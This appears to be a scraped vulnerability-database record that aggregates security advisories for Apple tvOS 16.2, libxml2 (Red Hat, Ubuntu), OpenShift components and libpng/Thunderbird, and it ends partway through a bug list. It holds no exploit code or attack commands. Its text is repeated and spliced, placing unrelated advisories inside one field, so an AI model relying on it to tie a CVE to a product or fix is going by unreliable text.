AVEVideoEncoder Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: An app may be able to execute arbitrary code with kernel privileges Description: A logic issue was addressed with improved checks. CVE-2022-42848: ABC Research s.r.o
ImageIO Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: Processing a maliciously crafted file may lead to arbitrary code execution Description: An out-of-bounds write issue was addressed with improved input validation. CVE-2022-46693: Mickey Jin (@patch1t)
ImageIO Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: Parsing a maliciously crafted TIFF file may lead to disclosure of user information Description: The issue was addressed with improved memory handling. CVE-2022-42851: Mickey Jin (@patch1t)
IOHIDFamily Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: An app may be able to execute arbitrary code with kernel privileges Description: A race condition was addressed with improved state handling. CVE-2022-42864: Tommy Muir (@Muirey03)
IOMobileFrameBuffer Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: An app may be able to execute arbitrary code with kernel privileges Description: An out-of-bounds write issue was addressed with improved input validation. CVE-2022-46690: John Aakerblom (@jaakerblom)
Kernel Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: An app may be able to execute arbitrary code with kernel privileges Description: A race condition was addressed with additional validation. CVE-2022-46689: Ian Beer of Google Project Zero
Kernel Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: Connecting to a malicious NFS server may lead to arbitrary code execution with kernel privileges Description: The issue was addressed with improved bounds checks. CVE-2022-46701: Felix Poulin-Belanger
Kernel Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: A remote user may be able to cause kernel code execution Description: The issue was addressed with improved memory handling. CVE-2022-42842: pattern-f (@pattern_F_) of Ant Security Light-Year Lab
Kernel Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: An app with root privileges may be able to execute arbitrary code with kernel privileges Description: The issue was addressed with improved memory handling. CVE-2022-42845: Adam Doupé of ASU SEFCOM
libxml2 Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: A remote user may be able to cause unexpected app termination or arbitrary code execution Description: An integer overflow was addressed through improved input validation. CVE-2022-40303: Maddie Stone of Google Project Zero
libxml2 Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: A remote user may be able to cause unexpected app termination or arbitrary code execution Description: This issue was addressed with improved checks. CVE-2022-40304: Ned Williamson and Nathan Wachholz of Google Project Zero
Preferences Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: An app may be able to use arbitrary entitlements Description: A logic issue was addressed with improved state management. CVE-2022-42855: Ivan Fratric of Google Project Zero
Safari Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: Visiting a website that frames malicious content may lead to UI spoofing Description: A spoofing issue existed in the handling of URLs. This issue was addressed with improved input validation. CVE-2022-46695: KirtiKumar Anandrao Ramchandani
Software Update Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: A user may be able to elevate privileges Description: An access issue existed with privileged API calls. This issue was addressed with additional restrictions. CVE-2022-42849: Mickey Jin (@patch1t)
Weather Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: An app may be able to read sensitive location information Description: The issue was addressed with improved handling of caches. CVE-2022-42866: an anonymous researcher
WebKit Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A use after free issue was addressed with improved memory management. WebKit Bugzilla: 245521 CVE-2022-42867: Maddie Stone of Google Project Zero
WebKit Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A memory consumption issue was addressed with improved memory handling. WebKit Bugzilla: 245466 CVE-2022-46691: an anonymous researcher
WebKit Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: Processing maliciously crafted web content may bypass Same Origin Policy Description: A logic issue was addressed with improved state management. WebKit Bugzilla: 246783 CVE-2022-46692: KirtiKumar Anandrao Ramchandani
WebKit Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: Processing maliciously crafted web content may result in the disclosure of process memory Description: The issue was addressed with improved memory handling. CVE-2022-42852: hazbinhotel working with Trend Micro Zero Day Initiative
WebKit Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A memory corruption issue was addressed with improved input validation. WebKit Bugzilla: 246942 CVE-2022-46696: Samuel Groß of Google V8 Security WebKit Bugzilla: 247562 CVE-2022-46700: Samuel Groß of Google V8 Security
WebKit Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: Processing maliciously crafted web content may disclose sensitive user information Description: A logic issue was addressed with improved checks. CVE-2022-46698: Dohyun Lee (@l33d0hyun) of SSD Secure Disclosure Labs & DNSLab, Korea Univ.
WebKit Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A memory corruption issue was addressed with improved state management. WebKit Bugzilla: 247420 CVE-2022-46699: Samuel Groß of Google V8 Security WebKit Bugzilla: 244622 CVE-2022-42863: an anonymous researcher
WebKit Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited against versions of iOS released before iOS 15.1. Description: A type confusion issue was addressed with improved state handling. WebKit Bugzilla: 248266 CVE-2022-42856: Clément Lecigne of Google's Threat Analysis Group
Additional recognition
Kernel We would like to acknowledge Zweig of Kunlun Lab for their assistance.
Safari Extensions We would like to acknowledge Oliver Dunk and Christian R. of 1Password for their assistance.
WebKit We would like to acknowledge an anonymous researcher and scarlet for their assistance.
Apple TV will periodically check for software updates. Alternatively, you may manually check for software updates by selecting "Settings -> System -> Software Update -> Update Software." To check the current version of software, select "Settings -> General -> About." All information is also posted on the Apple Security Updates web site: https://support.apple.com/en-us/HT201222.
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. Bugs fixed (https://bugzilla.redhat.com/):
2156729 - CVE-2021-4238 goutils: RandomAlphaNumeric and CryptoRandomAlphaNumeric are not as random as they should be 2163037 - CVE-2022-3064 go-yaml: Improve heuristics preventing CPU/memory abuse by parsing malicious or large YAML documents 2167819 - CVE-2023-23947 ArgoCD: Users with any cluster secret update access may update out-of-bounds cluster secrets
- ========================================================================== Ubuntu Security Notice USN-5760-2 December 05, 2022
libxml2 vulnerabilities
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 16.04 ESM
- Ubuntu 14.04 ESM
Summary:
Several security issues were fixed in libxml2. This update provides the corresponding updates for Ubuntu 14.04 ESM and Ubuntu 16.04 ESM.
Original advisory details:
It was discovered that libxml2 incorrectly handled certain XML files. An attacker could possibly use this issue to expose sensitive information or cause a crash. An attacker could possibly use this issue to execute arbitrary code. (CVE-2022-40304)
Update instructions:
The problem can be corrected by updating your system to the following package versions:
Ubuntu 16.04 ESM: libxml2 2.9.3+dfsg1-1ubuntu0.7+esm4 libxml2-utils 2.9.3+dfsg1-1ubuntu0.7+esm4
Ubuntu 14.04 ESM: libxml2 2.9.1+dfsg1-3ubuntu4.13+esm4 libxml2-utils 2.9.1+dfsg1-3ubuntu4.13+esm4
In general, a standard system update will make all the necessary changes
Show details on source website{
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"data": "An issue was discovered in libxml2 before 2.10.3. When parsing a multi-gigabyte XML document with the XML_PARSE_HUGE parser option enabled, several integer counters can overflow. This results in an attempt to access an array at a negative 2GB offset, typically leading to a segmentation fault. It is written in C language and can be called by many languages, such as C language, C++, XSH. Currently there is no information about this vulnerability, please keep an eye on CNNVD or vendor announcements. Summary:\n\nOpenShift API for Data Protection (OADP) 1.1.2 is now available. Description:\n\nOpenShift API for Data Protection (OADP) enables you to back up and restore\napplication resources, persistent volume data, and internal container\nimages to external backup storage. OADP enables both file system-based and\nsnapshot-based backups for persistent volumes. Solution:\n\nBefore applying this update, make sure all previously released errata\nrelevant to your system have been applied. Bugs fixed (https://bugzilla.redhat.com/):\n\n2132867 - CVE-2022-2879 golang: archive/tar: unbounded memory consumption when reading headers\n2132868 - CVE-2022-2880 golang: net/http/httputil: ReverseProxy should not forward unparseable query parameters\n2132872 - CVE-2022-41715 golang: regexp/syntax: limit memory used by parsing regexps\n2161274 - CVE-2022-41717 golang: net/http: An attacker can cause excessive memory growth in a Go server accepting HTTP/2 requests\n\n5. JIRA issues fixed (https://issues.jboss.org/):\n\nOADP-1056 - DPA fails validation if multiple BSLs have the same provider\nOADP-1150 - Handle docker env config changes in the oadp-operator\nOADP-1217 - update velero + restic to 1.9.5\nOADP-1256 - Backup stays in progress status after restic pod is restarted due to OOM killed\nOADP-1289 - Restore partially fails with error \"Secrets \\\"deployer-token-rrjqx\\\" not found\"\nOADP-290 - Remove creation/usage of velero-privileged SCC\n\n6. Description:\n\nRed Hat Openshift GitOps is a declarative way to implement continuous\ndeployment for cloud native applications. Bugs fixed (https://bugzilla.redhat.com/):\n\n2160492 - CVE-2023-22482 ArgoCD: JWT audience claim is not verified\n2162517 - CVE-2023-22736 argocd: Controller reconciles apps outside configured namespaces when sharding is enabled\n\n5. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\n==================================================================== \nRed Hat Security Advisory\n\nSynopsis: Moderate: libxml2 security update\nAdvisory ID: RHSA-2023:0338-01\nProduct: Red Hat Enterprise Linux\nAdvisory URL: https://access.redhat.com/errata/RHSA-2023:0338\nIssue date: 2023-01-23\nCVE Names: CVE-2022-40303 CVE-2022-40304\n====================================================================\n1. Summary:\n\nAn update for libxml2 is now available for Red Hat Enterprise Linux 9. \n\nRed Hat Product Security has rated this update as having a security impact\nof Moderate. A Common Vulnerability Scoring System (CVSS) base score, which\ngives a detailed severity rating, is available for each vulnerability from\nthe CVE link(s) in the References section. \n\n2. Relevant releases/architectures:\n\nRed Hat Enterprise Linux AppStream (v. 9) - aarch64, ppc64le, s390x, x86_64\nRed Hat Enterprise Linux BaseOS (v. 9) - aarch64, ppc64le, s390x, x86_64\n\n3. Description:\n\nThe libxml2 library is a development toolbox providing the implementation\nof various XML standards. \n\nSecurity Fix(es):\n\n* libxml2: integer overflows with XML_PARSE_HUGE (CVE-2022-40303)\n\n* libxml2: dict corruption caused by entity reference cycles\n(CVE-2022-40304)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section. \n\n4. Solution:\n\nFor details on how to apply this update, which includes the changes\ndescribed in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258\n\nThe desktop must be restarted (log out, then log back in) for this update\nto take effect. \n\n5. Bugs fixed (https://bugzilla.redhat.com/):\n\n2136266 - CVE-2022-40303 libxml2: integer overflows with XML_PARSE_HUGE\n2136288 - CVE-2022-40304 libxml2: dict corruption caused by entity reference cycles\n\n6. Package List:\n\nRed Hat Enterprise Linux AppStream (v. 9):\n\naarch64:\nlibxml2-debuginfo-2.9.13-3.el9_1.aarch64.rpm\nlibxml2-debugsource-2.9.13-3.el9_1.aarch64.rpm\nlibxml2-devel-2.9.13-3.el9_1.aarch64.rpm\npython3-libxml2-debuginfo-2.9.13-3.el9_1.aarch64.rpm\n\nppc64le:\nlibxml2-debuginfo-2.9.13-3.el9_1.ppc64le.rpm\nlibxml2-debugsource-2.9.13-3.el9_1.ppc64le.rpm\nlibxml2-devel-2.9.13-3.el9_1.ppc64le.rpm\npython3-libxml2-debuginfo-2.9.13-3.el9_1.ppc64le.rpm\n\ns390x:\nlibxml2-debuginfo-2.9.13-3.el9_1.s390x.rpm\nlibxml2-debugsource-2.9.13-3.el9_1.s390x.rpm\nlibxml2-devel-2.9.13-3.el9_1.s390x.rpm\npython3-libxml2-debuginfo-2.9.13-3.el9_1.s390x.rpm\n\nx86_64:\nlibxml2-debuginfo-2.9.13-3.el9_1.i686.rpm\nlibxml2-debuginfo-2.9.13-3.el9_1.x86_64.rpm\nlibxml2-debugsource-2.9.13-3.el9_1.i686.rpm\nlibxml2-debugsource-2.9.13-3.el9_1.x86_64.rpm\nlibxml2-devel-2.9.13-3.el9_1.i686.rpm\nlibxml2-devel-2.9.13-3.el9_1.x86_64.rpm\npython3-libxml2-debuginfo-2.9.13-3.el9_1.i686.rpm\npython3-libxml2-debuginfo-2.9.13-3.el9_1.x86_64.rpm\n\nRed Hat Enterprise Linux BaseOS (v. 9):\n\nSource:\nlibxml2-2.9.13-3.el9_1.src.rpm\n\naarch64:\nlibxml2-2.9.13-3.el9_1.aarch64.rpm\nlibxml2-debuginfo-2.9.13-3.el9_1.aarch64.rpm\nlibxml2-debugsource-2.9.13-3.el9_1.aarch64.rpm\npython3-libxml2-2.9.13-3.el9_1.aarch64.rpm\npython3-libxml2-debuginfo-2.9.13-3.el9_1.aarch64.rpm\n\nppc64le:\nlibxml2-2.9.13-3.el9_1.ppc64le.rpm\nlibxml2-debuginfo-2.9.13-3.el9_1.ppc64le.rpm\nlibxml2-debugsource-2.9.13-3.el9_1.ppc64le.rpm\npython3-libxml2-2.9.13-3.el9_1.ppc64le.rpm\npython3-libxml2-debuginfo-2.9.13-3.el9_1.ppc64le.rpm\n\ns390x:\nlibxml2-2.9.13-3.el9_1.s390x.rpm\nlibxml2-debuginfo-2.9.13-3.el9_1.s390x.rpm\nlibxml2-debugsource-2.9.13-3.el9_1.s390x.rpm\npython3-libxml2-2.9.13-3.el9_1.s390x.rpm\npython3-libxml2-debuginfo-2.9.13-3.el9_1.s390x.rpm\n\nx86_64:\nlibxml2-2.9.13-3.el9_1.i686.rpm\nlibxml2-2.9.13-3.el9_1.x86_64.rpm\nlibxml2-debuginfo-2.9.13-3.el9_1.i686.rpm\nlibxml2-debuginfo-2.9.13-3.el9_1.x86_64.rpm\nlibxml2-debugsource-2.9.13-3.el9_1.i686.rpm\nlibxml2-debugsource-2.9.13-3.el9_1.x86_64.rpm\npython3-libxml2-2.9.13-3.el9_1.x86_64.rpm\npython3-libxml2-debuginfo-2.9.13-3.el9_1.i686.rpm\npython3-libxml2-debuginfo-2.9.13-3.el9_1.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security. Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n7. References:\n\nhttps://access.redhat.com/security/cve/CVE-2022-40303\nhttps://access.redhat.com/security/cve/CVE-2022-40304\nhttps://access.redhat.com/security/updates/classification/#moderate\n\n8. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2023 Red Hat, Inc. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nAPPLE-SA-2022-12-13-7 tvOS 16.2\n\ntvOS 16.2 addresses the following issues. \nInformation about the security content is also available at\nhttps://support.apple.com/HT213535. \n\nAccounts\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: A user may be able to view sensitive user information\nDescription: This issue was addressed with improved data protection. \nCVE-2022-42843: Mickey Jin (@patch1t)\n\nAppleAVD\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: Parsing a maliciously crafted video file may lead to kernel\ncode execution\nDescription: An out-of-bounds write issue was addressed with improved\ninput validation. \nCVE-2022-46694: Andrey Labunets and Nikita Tarakanov\n\nAppleMobileFileIntegrity\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: An app may be able to bypass Privacy preferences\nDescription: This issue was addressed by enabling hardened runtime. \nCVE-2022-42865: Wojciech Regu\u0142a (@_r3ggi) of SecuRing\n\nAVEVideoEncoder\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: An app may be able to execute arbitrary code with kernel\nprivileges\nDescription: A logic issue was addressed with improved checks. \nCVE-2022-42848: ABC Research s.r.o\n\nImageIO\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: Processing a maliciously crafted file may lead to arbitrary\ncode execution\nDescription: An out-of-bounds write issue was addressed with improved\ninput validation. \nCVE-2022-46693: Mickey Jin (@patch1t)\n\nImageIO\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: Parsing a maliciously crafted TIFF file may lead to\ndisclosure of user information\nDescription: The issue was addressed with improved memory handling. \nCVE-2022-42851: Mickey Jin (@patch1t)\n\nIOHIDFamily\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: An app may be able to execute arbitrary code with kernel\nprivileges\nDescription: A race condition was addressed with improved state\nhandling. \nCVE-2022-42864: Tommy Muir (@Muirey03)\n\nIOMobileFrameBuffer\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: An app may be able to execute arbitrary code with kernel\nprivileges\nDescription: An out-of-bounds write issue was addressed with improved\ninput validation. \nCVE-2022-46690: John Aakerblom (@jaakerblom)\n\nKernel\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: An app may be able to execute arbitrary code with kernel\nprivileges\nDescription: A race condition was addressed with additional\nvalidation. \nCVE-2022-46689: Ian Beer of Google Project Zero\n\nKernel\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: Connecting to a malicious NFS server may lead to arbitrary\ncode execution with kernel privileges\nDescription: The issue was addressed with improved bounds checks. \nCVE-2022-46701: Felix Poulin-Belanger\n\nKernel\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: A remote user may be able to cause kernel code execution\nDescription: The issue was addressed with improved memory handling. \nCVE-2022-42842: pattern-f (@pattern_F_) of Ant Security Light-Year\nLab\n\nKernel\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: An app with root privileges may be able to execute arbitrary\ncode with kernel privileges\nDescription: The issue was addressed with improved memory handling. \nCVE-2022-42845: Adam Doup\u00e9 of ASU SEFCOM\n\nlibxml2\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: A remote user may be able to cause unexpected app termination\nor arbitrary code execution\nDescription: An integer overflow was addressed through improved input\nvalidation. \nCVE-2022-40303: Maddie Stone of Google Project Zero\n\nlibxml2\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: A remote user may be able to cause unexpected app termination\nor arbitrary code execution\nDescription: This issue was addressed with improved checks. \nCVE-2022-40304: Ned Williamson and Nathan Wachholz of Google Project\nZero\n\nPreferences\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: An app may be able to use arbitrary entitlements\nDescription: A logic issue was addressed with improved state\nmanagement. \nCVE-2022-42855: Ivan Fratric of Google Project Zero\n\nSafari\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: Visiting a website that frames malicious content may lead to\nUI spoofing\nDescription: A spoofing issue existed in the handling of URLs. This\nissue was addressed with improved input validation. \nCVE-2022-46695: KirtiKumar Anandrao Ramchandani\n\nSoftware Update\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: A user may be able to elevate privileges\nDescription: An access issue existed with privileged API calls. This\nissue was addressed with additional restrictions. \nCVE-2022-42849: Mickey Jin (@patch1t)\n\nWeather\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: An app may be able to read sensitive location information\nDescription: The issue was addressed with improved handling of\ncaches. \nCVE-2022-42866: an anonymous researcher\n\nWebKit\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: Processing maliciously crafted web content may lead to\narbitrary code execution\nDescription: A use after free issue was addressed with improved\nmemory management. \nWebKit Bugzilla: 245521\nCVE-2022-42867: Maddie Stone of Google Project Zero\n\nWebKit\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: Processing maliciously crafted web content may lead to\narbitrary code execution\nDescription: A memory consumption issue was addressed with improved\nmemory handling. \nWebKit Bugzilla: 245466\nCVE-2022-46691: an anonymous researcher\n\nWebKit\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: Processing maliciously crafted web content may bypass Same\nOrigin Policy\nDescription: A logic issue was addressed with improved state\nmanagement. \nWebKit Bugzilla: 246783\nCVE-2022-46692: KirtiKumar Anandrao Ramchandani\n\nWebKit\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: Processing maliciously crafted web content may result in the\ndisclosure of process memory\nDescription: The issue was addressed with improved memory handling. \nCVE-2022-42852: hazbinhotel working with Trend Micro Zero Day\nInitiative\n\nWebKit\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: Processing maliciously crafted web content may lead to\narbitrary code execution\nDescription: A memory corruption issue was addressed with improved\ninput validation. \nWebKit Bugzilla: 246942\nCVE-2022-46696: Samuel Gro\u00df of Google V8 Security\nWebKit Bugzilla: 247562\nCVE-2022-46700: Samuel Gro\u00df of Google V8 Security\n\nWebKit\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: Processing maliciously crafted web content may disclose\nsensitive user information\nDescription: A logic issue was addressed with improved checks. \nCVE-2022-46698: Dohyun Lee (@l33d0hyun) of SSD Secure Disclosure Labs\n\u0026 DNSLab, Korea Univ. \n\nWebKit\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: Processing maliciously crafted web content may lead to\narbitrary code execution\nDescription: A memory corruption issue was addressed with improved\nstate management. \nWebKit Bugzilla: 247420\nCVE-2022-46699: Samuel Gro\u00df of Google V8 Security\nWebKit Bugzilla: 244622\nCVE-2022-42863: an anonymous researcher\n\nWebKit\nAvailable for: Apple TV 4K, Apple TV 4K (2nd generation and later),\nand Apple TV HD\nImpact: Processing maliciously crafted web content may lead to\narbitrary code execution. Apple is aware of a report that this issue\nmay have been actively exploited against versions of iOS released\nbefore iOS 15.1. \nDescription: A type confusion issue was addressed with improved state\nhandling. \nWebKit Bugzilla: 248266\nCVE-2022-42856: Cl\u00e9ment Lecigne of Google\u0027s Threat Analysis Group\n\nAdditional recognition\n\nKernel\nWe would like to acknowledge Zweig of Kunlun Lab for their\nassistance. \n\nSafari Extensions\nWe would like to acknowledge Oliver Dunk and Christian R. of\n1Password for their assistance. \n\nWebKit\nWe would like to acknowledge an anonymous researcher and scarlet for\ntheir assistance. \n\nApple TV will periodically check for software updates. Alternatively,\nyou may manually check for software updates by selecting \"Settings -\u003e\nSystem -\u003e Software Update -\u003e Update Software.\" To check the current\nversion of software, select \"Settings -\u003e General -\u003e About.\"\nAll information is also posted on the Apple Security Updates\nweb site: https://support.apple.com/en-us/HT201222. \n\nThis message is signed with Apple\u0027s Product Security PGP key,\nand details are available at:\nhttps://www.apple.com/support/security/pgp/\n-----BEGIN PGP SIGNATURE-----\n\niQIzBAEBCAAdFiEEBP+4DupqR5Sgt1DB4RjMIDkeNxkFAmOZFX4ACgkQ4RjMIDke\nNxkItA/+LIwJ66Odl7Uwp1N/qek5Z/TBuPKlbgTwRZGT3LBVMVmyHTBzebA88aNq\nPae1RKQ2Txw4w9Tb7a08eeqRQD51MBoSjTxf23tO1o0B1UR3Hgq3gsOSjh/dTq9V\nJvy4DpO15xdVHP3BH/li114JpgR+FoD5Du0rPffL01p6YtqeWMSvnRoCmwNcIqou\ni2ZObfdrL2WJ+IiDIlMoJ3v+B1tDxOWR6Mn37iRdzl+QgrQMQtP9pSsiAPCntA+y\neFM5Hp0JlOMtCfA+xT+LRoZHCbjTCFMRlRbNffGvrNwwdTY4MXrSYlKcIo3yFT2m\nKSHrQNvqzWhmSLAcHlUNo0lVvtPAlrgyilCYaeRNgRC1+x8KRf/AcErXr23oKknJ\nlzIF6eVk1K3mxUmR+M+P8+cr14pbrUwJcQlm0In6/8fUulHtcElLE3fJ+HJVImx8\nRtvNmuCng5iEK1zlwgDvAKO3EgMrMtduF8aygaCcBmt65GMkHwvOGCDXcIrKfH9U\nsP4eY7V3t4CQd9TX3Vlmt47MwRTSVuUtMcQeQPhEUTdUbM7UlvtW8igrLvkz9uPn\nCpuE2mzhd/dJANXvMFBR9A0ilAdJO1QD/uSWL+UbKq4BlyiW5etd8gObQfHqqW3C\nsh0EwxLh4ATicRS9btAJMwIfK/ulYDWp4yuIsUamDj/sN9xWvXY=\n=i2O9\n-----END PGP SIGNATURE-----\n\n\n. Bugs fixed (https://bugzilla.redhat.com/):\n\n2156729 - CVE-2021-4238 goutils: RandomAlphaNumeric and CryptoRandomAlphaNumeric are not as random as they should be\n2163037 - CVE-2022-3064 go-yaml: Improve heuristics preventing CPU/memory abuse by parsing malicious or large YAML documents\n2167819 - CVE-2023-23947 ArgoCD: Users with any cluster secret update access may update out-of-bounds cluster secrets\n\n5. ==========================================================================\nUbuntu Security Notice USN-5760-2\nDecember 05, 2022\n\nlibxml2 vulnerabilities\n==========================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 16.04 ESM\n- Ubuntu 14.04 ESM\n\nSummary:\n\nSeveral security issues were fixed in libxml2. This update provides the\ncorresponding updates for Ubuntu 14.04 ESM and Ubuntu 16.04 ESM. \n\nOriginal advisory details:\n\n It was discovered that libxml2 incorrectly handled certain XML files. \n An attacker could possibly use this issue to expose sensitive information\n or cause a crash. \n An attacker could possibly use this issue to execute arbitrary code. \n (CVE-2022-40304)\n\nUpdate instructions:\n\nThe problem can be corrected by updating your system to the following\npackage versions:\n\nUbuntu 16.04 ESM:\n libxml2 2.9.3+dfsg1-1ubuntu0.7+esm4\n libxml2-utils 2.9.3+dfsg1-1ubuntu0.7+esm4\n\nUbuntu 14.04 ESM:\n libxml2 2.9.1+dfsg1-3ubuntu4.13+esm4\n libxml2-utils 2.9.1+dfsg1-3ubuntu4.13+esm4\n\nIn general, a standard system update will make all the necessary changes",
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VAR-201902-0855
Vulnerability from variot - Updated: 2026-03-09 23:19png_image_free in png.c in libpng 1.6.x before 1.6.37 has a use-after-free because png_image_free_function is called under png_safe_execute. libpng Exists in a vulnerability related to the use of freed memory.Service operation interruption (DoS) It may be in a state. libpng is prone to a denial-of-service vulnerability. An attacker may exploit this issue to crash the affected application, resulting in a denial-of-service condition. libpng version 1.6.36 is vulnerable; other versions may also be affected. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256
===================================================================== Red Hat Security Advisory
Synopsis: Important: thunderbird security update Advisory ID: RHSA-2019:1309-01 Product: Red Hat Enterprise Linux Advisory URL: https://access.redhat.com/errata/RHSA-2019:1309 Issue date: 2019-06-03 CVE Names: CVE-2018-18511 CVE-2019-5798 CVE-2019-7317 CVE-2019-9797 CVE-2019-9800 CVE-2019-9817 CVE-2019-9819 CVE-2019-9820 CVE-2019-11691 CVE-2019-11692 CVE-2019-11693 CVE-2019-11698 =====================================================================
- Summary:
An update for thunderbird is now available for Red Hat Enterprise Linux 7.
Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
- Relevant releases/architectures:
Red Hat Enterprise Linux Client (v. 7) - x86_64 Red Hat Enterprise Linux Server Optional (v. 7) - ppc64le, x86_64 Red Hat Enterprise Linux Workstation (v. 7) - x86_64 Red Hat Enterprise Linux for ARM and IBM Power LE (POWER9) Server Optional (v. 7) - aarch64, ppc64le
- Description:
Mozilla Thunderbird is a standalone mail and newsgroup client.
This update upgrades Thunderbird to version 60.7.0.
Security Fix(es):
-
Mozilla: Memory safety bugs fixed in Firefox 67 and Firefox ESR 60.7 (CVE-2019-9800)
-
Mozilla: Cross-origin theft of images with createImageBitmap (CVE-2019-9797)
-
Mozilla: Stealing of cross-domain images using canvas (CVE-2019-9817)
-
Mozilla: Compartment mismatch with fetch API (CVE-2019-9819)
-
Mozilla: Use-after-free of ChromeEventHandler by DocShell (CVE-2019-9820)
-
Mozilla: Use-after-free in XMLHttpRequest (CVE-2019-11691)
-
Mozilla: Use-after-free removing listeners in the event listener manager (CVE-2019-11692)
-
Mozilla: Buffer overflow in WebGL bufferdata on Linux (CVE-2019-11693)
-
mozilla: Cross-origin theft of images with ImageBitmapRenderingContext (CVE-2018-18511)
-
chromium-browser: Out of bounds read in Skia (CVE-2019-5798)
-
Mozilla: Theft of user history data through drag and drop of hyperlinks to and from bookmarks (CVE-2019-11698)
-
libpng: use-after-free in png_image_free in png.c (CVE-2019-7317)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Solution:
For details on how to apply this update, which includes the changes described in this advisory, refer to:
https://access.redhat.com/articles/11258
All running instances of Thunderbird must be restarted for the update to take effect.
- Bugs fixed (https://bugzilla.redhat.com/):
